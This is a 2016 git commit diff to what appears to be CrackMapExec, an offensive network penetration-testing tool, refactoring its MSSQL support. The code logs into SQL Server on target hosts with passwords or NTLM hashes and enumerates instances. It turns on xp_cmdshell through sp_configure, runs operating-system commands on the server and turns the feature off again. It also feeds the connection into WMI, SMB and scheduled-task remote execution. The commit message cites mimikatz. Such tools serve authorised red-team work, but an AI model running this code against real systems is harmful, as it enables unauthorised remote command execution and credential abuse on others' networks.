- Re-Factored MSSQL support for better integration when executing

commands and attacks (e.g. mimikatz, injection)
- By default, the --mssql flag will enumerate db instances and will
  allow you to execute commands through xp_cmdshell
- Made some logic changes on how/when connections are initiated
main
byt3bl33d3r 2016-01-26 21:23:03 -07:00
parent 3c5cf012fd
commit c50ffb0f65
4 changed files with 217 additions and 218 deletions

View File

@ -1,6 +1,7 @@
from scripts.wmiexec import WMIEXEC
from scripts.smbexec import SMBEXEC
from scripts.atexec import TSCH_EXEC
from scripts.mssqlclient import SQLSHELL
import settings
@ -8,8 +9,13 @@ class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, logger, command, host, domain, noOutput, smbconnection, method, user, passwd, ntlm_hash):
def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash):
if settings.args.mssql and str(connection).find('MSSQL') != -1:
sql_shell = SQLSHELL(connection, logger)
sql_shell.do_xp_cmdshell(command, noOutput)
else:
if method == 'wmi':
wmi_exec = WMIEXEC(logger,
command,
@ -21,7 +27,7 @@ class EXECUTOR:
settings.args.share,
noOutput,
settings.args.kerb)
wmi_exec.run(host, smbconnection)
wmi_exec.run(host, connection)
elif method == 'smbexec':
smb_exec = SMBEXEC(logger,

View File

@ -27,54 +27,12 @@ import traceback
import socket
import logging
def mssql_greenlet(host, server_name, domain):
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': server_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return
if settings.args.mssql_instance:
instances = ms_sql.getInstances(5)
if len(instances) == 0:
cme_logger.info("No MSSQL Instances found")
else:
cme_logger.success("Enumerating MSSQL instances")
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
if settings.args.mssql is not None:
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
if settings.args.mssql != '':
sql_shell.onecmd(settings.args.mssql)
if settings.args.enable_xpcmdshell:
sql_shell.onecmd('enable_xp_cmdshell')
if settings.args.disable_xpcmdshell:
sql_shell.onecmd('disable_xp_cmdshell')
if settings.args.xp_cmd:
sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd))
ms_sql.disconnect()
def main_greenlet(host):
try:
smb = SMBConnection(host, host, None, settings.args.port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
try:
smb.login('' , '')
except SessionError as e:
@ -95,9 +53,6 @@ def main_greenlet(host):
cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
if settings.args.mssql_instance or settings.args.mssql is not None:
mssql_greenlet(host, s_name, domain)
try:
'''
DC's seem to want us to logoff first
@ -108,14 +63,54 @@ def main_greenlet(host):
except NetBIOSError:
pass
except socket.error:
pass
if settings.args.mssql:
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': s_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
#try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
instances = ms_sql.getInstances(5)
cme_logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
#except socket.error as e:
# if settings.args.verbose: mssql_cme_logger.error(str(e))
if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file:
ms_sql = None
smb = None
if settings.args.mssql:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
else:
smb = SMBConnection(host, host, None, settings.args.port)
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
if ms_sql:
connection = ms_sql
if settings.args.mssql_query:
sql_shell.onecmd(settings.args.mssql_query)
if smb:
connection = smb
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
@ -240,7 +235,7 @@ def main_greenlet(host):
host,
domain,
settings.args.no_output,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -252,7 +247,7 @@ def main_greenlet(host):
host,
domain,
settings.args.no_output,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -265,7 +260,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -278,7 +273,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -291,7 +286,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -306,7 +301,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
'smbexec',
user,
passwd,
@ -320,7 +315,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -332,7 +327,7 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
@ -344,16 +339,22 @@ def main_greenlet(host):
host,
domain,
True,
smb,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
try:
smb.logoff()
except:
pass
try:
ms_sql.disconnect()
except:
pass
except SessionError as e:
print_error("{}:{} {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()

View File

@ -76,14 +76,19 @@ class SQLSHELL(cmd.Cmd):
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
def do_xp_cmdshell(self, s, noOutput=False):
try:
self.do_enable_xp_cmdshell('')
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.logger.success('Executed command via XP_CMDSHELL')
if noOutput is False:
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
self.do_disable_xp_cmdshell('')
except:
pass
if noOutput is True:
self.sql.printReplies()
def do_lcd(self, s):
if s == '':
@ -92,20 +97,10 @@ class SQLSHELL(cmd.Cmd):
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:

View File

@ -57,7 +57,7 @@ parser = argparse.ArgumentParser(description="""
version='{} - {}'.format(VERSION, CODENAME),
epilog='Hut Hut! Wat Wat!')
parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords")
@ -139,12 +139,9 @@ wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account un
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query')
mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service')
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts')
mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s')
mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s')
mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell')
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
if len(sys.argv) == 1:
parser.print_help()